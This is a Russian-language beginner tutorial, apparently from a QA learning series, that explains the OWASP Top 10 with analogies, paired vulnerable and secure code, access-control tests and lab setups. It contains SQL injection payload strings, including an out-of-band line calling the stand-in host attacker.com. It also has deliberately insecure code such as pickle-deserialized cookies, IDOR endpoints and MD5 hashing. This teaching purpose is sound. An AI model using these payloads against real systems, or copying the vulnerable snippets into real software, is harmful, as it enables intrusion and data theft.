Статья 10: OWASP Top 10 — Глубокое погружение для новичков
OWASP Top 10: Полное погружение для новичков
Всё, что нужно знать о самых критических рисках безопасности веб-приложений — объяснено простыми словами!
🎯 Для кого эта статья?
Эта статья создана для:
- ✅ Полных новичков, которые только начинают изучать безопасность
- ✅ QA инженеров, которые хотят понять OWASP Top 10
- ✅ Разработчиков, желающих писать более безопасный код
- ✅ Студентов, готовящихся к собеседованиям
Никаких предварительных знаний не требуется! Мы объясним всё с простыми аналогиями.
📍 Вы находитесь здесь:
[✓] Статья 1: Основы QA
[✓] Статья 2: Практика QA
[✓] Статья 3: DSA для QA
[✓] Статья 4: Фреймворки автоматизации
[✓] Статья 5: CI/CD
[✓] Статья 6: Техники тест-дизайна
[✓] Статья 7: Нагрузочное тестирование
[✓] Статья 8: Работа в Apple
[✓] Статья 9: Тестирование безопасности
[→] Статья 10: OWASP Top 10 - Глубокое погружение
Прогресс: 100% + Бонус ✨
📚 Прежде чем начать: Основы безопасности 101
Что такое уязвимость?
Уязвимость — это слабое место в программе, которое хакер может использовать. Подумайте об этом как о:
🔓 Незапертая дверь → Хакер может войти
🪟 Открытое окно → Хакер может влезть
📝 Пароль на записке → Хакер может его украсть
Что такое OWASP?
OWASP = Open Web Application Security Project (Открытый проект безопасности веб-приложений)
- 🌍 Некоммерческая организация
- 📊 Собирает данные от 500,000+ приложений
- 📋 Создаёт Top 10 — список самых опасных уязвимостей
- 🔄 Обновляется каждые 3-4 года
OWASP Top 10 — Краткий обзор
| # | Название | Объяснение для 5-летнего |
|---|---|---|
| A01 | Нарушение контроля доступа | ”Попал в чужую комнату!” |
| A02 | Криптографические сбои | ”Секреты хранятся открыто” |
| A03 | Инъекции | ”Злые команды в текстовом поле” |
| A04 | Небезопасный дизайн | ”Дом построили без замков” |
| A05 | Неправильная конфигурация | ”Ключ оставили под ковриком” |
| A06 | Устаревшие компоненты | ”Старый ржавый замок” |
| A07 | Проблемы с идентификацией | ”Пустили без проверки документов” |
| A08 | Нарушение целостности | ”Кто-то подменил посылку” |
| A09 | Отсутствие логирования | ”Нет камер наблюдения” |
| A10 | Подделка запросов (SSRF) | “Обманули охранника открыть дверь” |
🔬 Как практиковаться (безопасно и легально)
Прежде чем тестировать уязвимости, вам нужна безопасная среда. Вот как её настроить:
Вариант 1: OWASP WebGoat (Рекомендуется для новичков)
# Установите Docker, затем запустите:
docker run -p 8080:8080 webgoat/webgoat
# Откройте: http://localhost:8080/WebGoat
Вариант 2: DVWA (Damn Vulnerable Web Application)
docker run -d -p 80:80 vulnerables/web-dvwa
# Откройте: http://localhost
# Логин: admin / Пароль: password
Вариант 3: Juice Shop (Современный)
docker run -p 3000:3000 bkimminich/juice-shop
# Откройте: http://localhost:3000
⚠️ ВАЖНО: НИКОГДА не тестируйте эти техники на реальных сайтах без разрешения! Это незаконно.
Что такое OWASP?
OWASP (Open Web Application Security Project) — это некоммерческий фонд, работающий над улучшением безопасности программного обеспечения. OWASP Top 10 — их флагманский документ, обновляемый каждые 3-4 года на основе реальных данных от сотен организаций.
Почему OWASP Top 10 важен
📊 Основан на данных от 500,000+ приложений
🌍 Индустриальный стандарт веб-безопасности
📋 Обязательные знания для сертификаций по безопасности
💼 Ожидается на большинстве собеседований QA/SDET
🔒 Фундамент для тестирования безопасности
Эволюция OWASP Top 10
| Год | Фокусные области |
|---|---|
| 2017 | Injection #1, XSS отдельно |
| 2021 | Broken Access Control #1, добавлены новые категории |
| 2024+ | Ожидается: безопасность API, безопасность AI/ML |
A01:2021 - Нарушение контроля доступа
🏨 Простая аналогия: Гостиница
Представьте гостиницу, где:
- Вам выдали ключ от комнаты 101
- Но этот ключ вдруг открывает ВСЕ комнаты!
- Вы можете войти в комнату 102, 103, 104…
- Это Broken Access Control (Нарушение контроля доступа)! 🏨
🎯 Обзор
Broken Access Control переместился с #5 (2017) на #1 (2021). Возникает, когда пользователи могут действовать за пределами своих разрешений.
Импакт: Несанкционированный доступ к данным, повышение привилегий, кража данных, захват системы.
🎮 Попробуйте сами: Упражнение IDOR
IDOR = Insecure Direct Object Reference (Небезопасная прямая ссылка на объект)
Шаг 1: Найдите URL с ID
https://example.com/profile/123
Шаг 2: Войдите как пользователь с ID 123
Шаг 3: Попробуйте изменить число:
https://example.com/profile/124
https://example.com/profile/1
https://example.com/profile/admin
Шаг 4: Если вы видите чужие данные — это IDOR! 🐛
Попробуйте также:
/api/users/123/orders
/api/users/124/orders ← Чужие заказы?
/download?file=report_123.pdf
/download?file=report_124.pdf ← Чужой отчёт?
Реальные примеры
🔴 2019: Capital One Breach - 100M записей раскрыто через SSRF
🔴 2021: Parler Data Leak - Последовательные ID позволили скачать все посты
🔴 2022: T-Mobile API - Злоумышленники получили доступ к 37M записей клиентов
Типы уязвимостей контроля доступа
1. Горизонтальное повышение привилегий (IDOR)
Пользователь A получает доступ к ресурсам пользователя B.
# УЯЗВИМО: Нет проверки владельца
@app.route('/api/orders/<order_id>')
def get_order(order_id):
order = Order.query.get(order_id)
return jsonify(order.to_dict()) # Любой может получить любой заказ!
# БЕЗОПАСНО: Проверка владельца
@app.route('/api/orders/<order_id>')
@login_required
def get_order(order_id):
order = Order.query.get(order_id)
if order.user_id != current_user.id:
abort(403) # Запрещено
return jsonify(order.to_dict())
2. Вертикальное повышение привилегий
Обычный пользователь получает права администратора.
# УЯЗВИМО: Только проверка авторизации
@app.route('/admin/users')
@login_required
def admin_users():
return User.query.all() # Любой авторизованный пользователь имеет доступ!
# БЕЗОПАСНО: Проверка роли
@app.route('/admin/users')
@login_required
@admin_required # Декоратор проверяет роль
def admin_users():
return User.query.all()
3. Отсутствие контроля доступа на уровне функций
// Фронтенд скрывает кнопку админа, но...
// УЯЗВИМО: API не имеет контроля доступа
app.post('/api/delete-user/:id', (req, res) => {
User.delete(req.params.id); // Нет проверки роли!
res.json({ success: true });
});
// БЕЗОПАСНО: Всегда проверять на бэкенде
app.post('/api/delete-user/:id', authenticate, authorize('admin'), (req, res) => {
User.delete(req.params.id);
res.json({ success: true });
});
Полный набор тестов контроля доступа
import pytest
from app import create_app, db
from models import User, Order
class TestAccessControl:
"""Комплексный набор тестов контроля доступа"""
@pytest.fixture
def setup(self):
"""Создаём тестовых пользователей с разными ролями"""
self.admin = User(username='admin', role='admin')
self.user1 = User(username='user1', role='user')
self.user2 = User(username='user2', role='user')
self.order1 = Order(user=self.user1, amount=100)
self.order2 = Order(user=self.user2, amount=200)
db.session.add_all([self.admin, self.user1, self.user2,
self.order1, self.order2])
db.session.commit()
# ========== IDOR Тесты ==========
def test_idor_order_access(self, client, setup):
"""Пользователь не должен получить доступ к заказу другого пользователя"""
# Логинимся как user1
client.post('/login', data={'username': 'user1', 'password': 'pass'})
# Доступ к своему заказу - должен успешно
response = client.get(f'/api/orders/{self.order1.id}')
assert response.status_code == 200
# Доступ к заказу user2 - должен провалиться
response = client.get(f'/api/orders/{self.order2.id}')
assert response.status_code == 403
# ========== Тесты вертикальной эскалации ==========
def test_regular_user_cannot_access_admin_panel(self, client, setup):
"""Обычный пользователь не должен получить доступ к админским эндпоинтам"""
client.post('/login', data={'username': 'user1', 'password': 'pass'})
admin_endpoints = [
'/admin/dashboard',
'/admin/users',
'/admin/settings',
'/api/admin/reports',
'/api/admin/logs',
]
for endpoint in admin_endpoints:
response = client.get(endpoint)
assert response.status_code in [401, 403], \
f"Пользователь получил доступ к админскому эндпоинту: {endpoint}"
A02:2021 - Криптографические сбои
🎯 Обзор
Ранее называлось “Раскрытие конфиденциальных данных”. Фокусируется на сбоях, связанных с криптографией, которые приводят к раскрытию чувствительных данных.
Импакт: Утечки данных, кража личности, нарушения комплаенса (GDPR, PCI-DSS).
Реальные примеры
🔴 2013: Adobe Breach - 153M паролей со слабым шифрованием (3DES)
🔴 2016: LinkedIn - 117M паролей с несолёным SHA-1
🔴 2019: Facebook - 600M паролей хранились в открытом виде
Типы криптографических сбоев
1. Данные в пути
# УЯЗВИМО: HTTP без TLS
requests.post('http://api.example.com/login',
data={'password': 'secret123'})
# БЕЗОПАСНО: HTTPS с проверкой сертификата
requests.post('https://api.example.com/login',
data={'password': 'secret123'},
verify=True)
2. Данные в покое
# УЯЗВИМО: Хранение пароля в открытом виде
def create_user(username, password):
user = User(username=username, password=password) # Открытый текст!
db.save(user)
# УЯЗВИМО: Слабое хеширование (MD5, SHA-1)
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()
# БЕЗОПАСНО: Использовать bcrypt с солью
from bcrypt import hashpw, gensalt, checkpw
def create_user(username, password):
hashed = hashpw(password.encode(), gensalt(rounds=12))
user = User(username=username, password_hash=hashed)
db.save(user)
A03:2021 - Инъекции
🎯 Обзор
Уязвимости инъекций возникают, когда недоверенные данные отправляются интерпретатору как часть команды или запроса.
Импакт: Кража данных, повреждение данных, отказ в обслуживании, полная компрометация системы.
Типы инъекционных атак
┌─────────────────────────────────────────────────────────┐
│ ТИПЫ ИНЪЕКЦИЙ │
├─────────────────────────────────────────────────────────┤
│ SQL Injection │ Запросы к базе данных │
│ NoSQL Injection │ Запросы MongoDB, CouchDB │
│ OS Command │ Команды оболочки │
│ LDAP Injection │ Службы каталогов │
│ XPath Injection │ XML запросы │
│ Template Injection │ Серверные шаблоны (SSTI) │
│ Header Injection │ HTTP заголовки │
│ Log Injection │ Логи приложения │
└─────────────────────────────────────────────────────────┘
Глубокое погружение в SQL Injection
Типы SQL Injection
-- 1. UNION-based (извлечение данных)
' UNION SELECT username, password FROM users--
-- 2. Error-based (извлечение через ошибки)
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))--
-- 3. Blind Boolean-based
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a'--
-- 4. Blind Time-based
' AND IF(1=1, SLEEP(5), 0)--
-- 5. Out-of-band (DNS/HTTP эксфильтрация)
'; EXEC xp_dirtree '//attacker.com/share'--
Глубокое погружение в XSS
Типы XSS
┌────────────────────────────────────────────────────────┐
│ ТИПЫ XSS │
├────────────────────────────────────────────────────────┤
│ Stored XSS │ Скрипт сохранён в базе данных │
│ │ Выполняется при загрузке страницы │
│ │ Пример: Пост форума, био профиля │
├────────────────────────────────────────────────────────┤
│ Reflected XSS │ Скрипт в URL/запросе │
│ │ Отражается обратно в ответе │
│ │ Пример: Результаты поиска, ошибки │
├────────────────────────────────────────────────────────┤
│ DOM XSS │ Скрипт манипулирует DOM напрямую │
│ │ Без участия сервера │
│ │ Пример: document.write(location) │
└────────────────────────────────────────────────────────┘
A04:2021 - Небезопасный дизайн
🎯 Обзор
НОВОЕ в 2021. Фокусируется на дефектах дизайна, а не на ошибках реализации. Это фундаментальные архитектурные проблемы, которые нельзя исправить только лучшим кодом.
Импакт: Недостатки бизнес-логики, обход контролей безопасности, мошенничество, потеря данных.
Паттерны небезопасного дизайна
1. Отсутствие ограничения частоты запросов
# НЕБЕЗОПАСНЫЙ ДИЗАЙН: Нет rate limiting на сброс пароля
@app.route('/reset-password', methods=['POST'])
def reset_password():
email = request.form['email']
send_reset_email(email) # Можно вызывать неограниченно!
return "Reset email sent"
# БЕЗОПАСНЫЙ ДИЗАЙН: Rate limiting + верификация
from flask_limiter import Limiter
limiter = Limiter(app, key_func=get_remote_address)
@app.route('/reset-password', methods=['POST'])
@limiter.limit("3 per hour") # Макс 3 запроса в час на IP
def reset_password():
email = request.form['email']
if User.query.filter_by(email=email).first():
send_reset_email(email)
# Всегда возвращать одинаковый ответ (предотвращение enumeration)
return "Если email существует, ссылка для сброса отправлена"
A05:2021 - Неправильная конфигурация безопасности
🎯 Обзор
Неправильная конфигурация безопасности — когда настройки безопасности определены, реализованы или поддерживаются неправильно.
Импакт: Раскрытие информации, компрометация системы, эксплуатация учётных данных по умолчанию.
Справочник по заголовкам безопасности
# Необходимые заголовки безопасности
# 1. Strict-Transport-Security (HSTS)
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
# 2. Content-Security-Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'self'
# 3. X-Content-Type-Options
X-Content-Type-Options: nosniff
# 4. X-Frame-Options
X-Frame-Options: DENY
# 5. X-XSS-Protection
X-XSS-Protection: 1; mode=block
# 6. Referrer-Policy
Referrer-Policy: strict-origin-when-cross-origin
A06:2021 - Уязвимые и устаревшие компоненты
🎯 Обзор
Использование компонентов с известными уязвимостями может подорвать защиту приложения.
Импакт: Эксплуатация известных CVE, утечки данных, компрометация системы.
Реальные примеры
🔴 2017: Equifax - Непропатченный Apache Struts → 147M записей
🔴 2021: Log4Shell - Самая критическая уязвимость десятилетия
🔴 2022: Spring4Shell - Spring Framework RCE
Тестирование уязвимостей компонентов
# JavaScript/Node.js
npm audit
# Python
pip-audit
safety check
# Docker образы
docker scan myimage:latest
trivy image myimage:latest
A07:2021 - Ошибки идентификации и аутентификации
🎯 Обзор
Ранее “Broken Authentication”. Слабости в подтверждении личности пользователя и управлении сессиями.
Импакт: Захват аккаунта, кража личности, несанкционированный доступ.
Уязвимости аутентификации
┌────────────────────────────────────────────────────────┐
│ УЯЗВИМОСТИ АУТЕНТИФИКАЦИИ │
├────────────────────────────────────────────────────────┤
│ Слабые пароли │ Нет требований к сложности │
│ Credential stuffing │ Нет rate limiting │
│ Session fixation │ Session ID не меняется │
│ Session hijacking │ Небезопасные токены сессий │
│ Broken "remember me" │ Проблемы с постоянными токенами│
│ Password reset flaws │ Предсказуемые токены │
│ MFA bypass │ Слабая реализация MFA │
└────────────────────────────────────────────────────────┘
A08:2021 - Нарушения целостности ПО и данных
🎯 Обзор
НОВАЯ категория, объединяющая A08:2017-Небезопасную десериализацию с новыми рисками, связанными с CI/CD и цепочкой поставок ПО.
Импакт: Удалённое выполнение кода, атаки на цепочку поставок, вредоносные обновления.
Небезопасная десериализация
# УЯЗВИМО: Десериализация Pickle
import pickle
@app.route('/load-session')
def load_session():
session_data = request.cookies.get('session')
return pickle.loads(base64.b64decode(session_data)) # RCE!
# БЕЗОПАСНО: Использовать JSON или подписанную сериализацию
import json
from itsdangerous import URLSafeSerializer
serializer = URLSafeSerializer(app.secret_key)
@app.route('/load-session')
def load_session():
session_data = request.cookies.get('session')
return serializer.loads(session_data) # Безопасно!
A09:2021 - Ошибки логирования и мониторинга
🎯 Обзор
Недостаточное логирование, обнаружение, мониторинг и активное реагирование позволяют злоумышленникам продолжать атаки.
Импакт: Необнаруженные взломы, задержка реагирования на инциденты, нарушения комплаенса.
Что должно логироваться
┌────────────────────────────────────────────────────────┐
│ СОБЫТИЯ БЕЗОПАСНОСТИ ДЛЯ ЛОГИРОВАНИЯ │
├────────────────────────────────────────────────────────┤
│ Аутентификация │ Входы, неудачи, блокировки │
│ Авторизация │ События отказа в доступе │
│ Валидация ввода │ Отклонённый вредоносный ввод │
│ Управление сессиями │ Создание, уничтожение │
│ Чувствительные операции│ Смена пароля, платежи │
│ Действия админа │ Создание пользователей, роли │
│ Системные события │ Запуск, остановка, ошибки │
└────────────────────────────────────────────────────────┘
A10:2021 - Подделка запросов на стороне сервера (SSRF)
🎯 Обзор
НОВОЕ в 2021. SSRF возникает, когда веб-приложение получает удалённый ресурс без валидации URL, предоставленного пользователем.
Импакт: Сканирование внутренней сети, доступ к метаданным облака, эксфильтрация данных.
Сценарии атак SSRF
┌────────────────────────────────────────────────────────┐
│ ЦЕЛИ АТАК SSRF │
├────────────────────────────────────────────────────────┤
│ Метаданные облака │ 169.254.169.254 (AWS/GCP/Azure)│
│ Внутренние сервисы │ localhost, 127.0.0.1, 10.x.x.x│
│ Внутренние API │ Внутренние микросервисы │
│ База данных │ Redis, MongoDB на localhost │
│ Админ-панели │ Внутренние админ-интерфейсы │
│ Файловая система │ file:// протокол │
└────────────────────────────────────────────────────────┘
Практические лаборатории
Настройка лабораторной среды
# 1. OWASP WebGoat
docker run -p 8080:8080 webgoat/webgoat
# 2. DVWA (Damn Vulnerable Web App)
docker run -d -p 80:80 vulnerables/web-dvwa
# 3. Juice Shop
docker run -p 3000:3000 bkimminich/juice-shop
# 4. PortSwigger Labs
# https://portswigger.net/web-security
Итоги: Краткий справочник OWASP Top 10
| # | Уязвимость | Фокус тестирования | Инструменты |
|---|---|---|---|
| A01 | Broken Access Control | IDOR, эскалация привилегий | Burp, ручное |
| A02 | Cryptographic Failures | HTTPS, хранение паролей | SSLyze |
| A03 | Injection | SQLi, XSS, command injection | SQLMap, Burp |
| A04 | Insecure Design | Бизнес-логика, rate limiting | Ручное |
| A05 | Security Misconfiguration | Заголовки, дефолты, ошибки | Nikto, curl |
| A06 | Vulnerable Components | Зависимости | npm audit, Snyk |
| A07 | Authentication Failures | Сессии, пароли, MFA | Burp, ручное |
| A08 | Integrity Failures | Десериализация, CI/CD | ysoserial |
| A09 | Logging Failures | Покрытие логов, маскирование | Анализ логов |
| A10 | SSRF | Валидация URL, метаданные | Burp, curl |
Что дальше?
- Практикуйтесь ежедневно - WebGoat, DVWA, Juice Shop
- Получите сертификаты - CompTIA Security+, CEH, OSCP
- Участвуйте в bug bounty - HackerOne, Bugcrowd
- Читайте больше - OWASP Testing Guide, Web Hacker’s Handbook
- Следите за обновлениями - Подписывайтесь на OWASP
Освойте OWASP Top 10 и станьте QA инженером с фокусом на безопасность! 🔐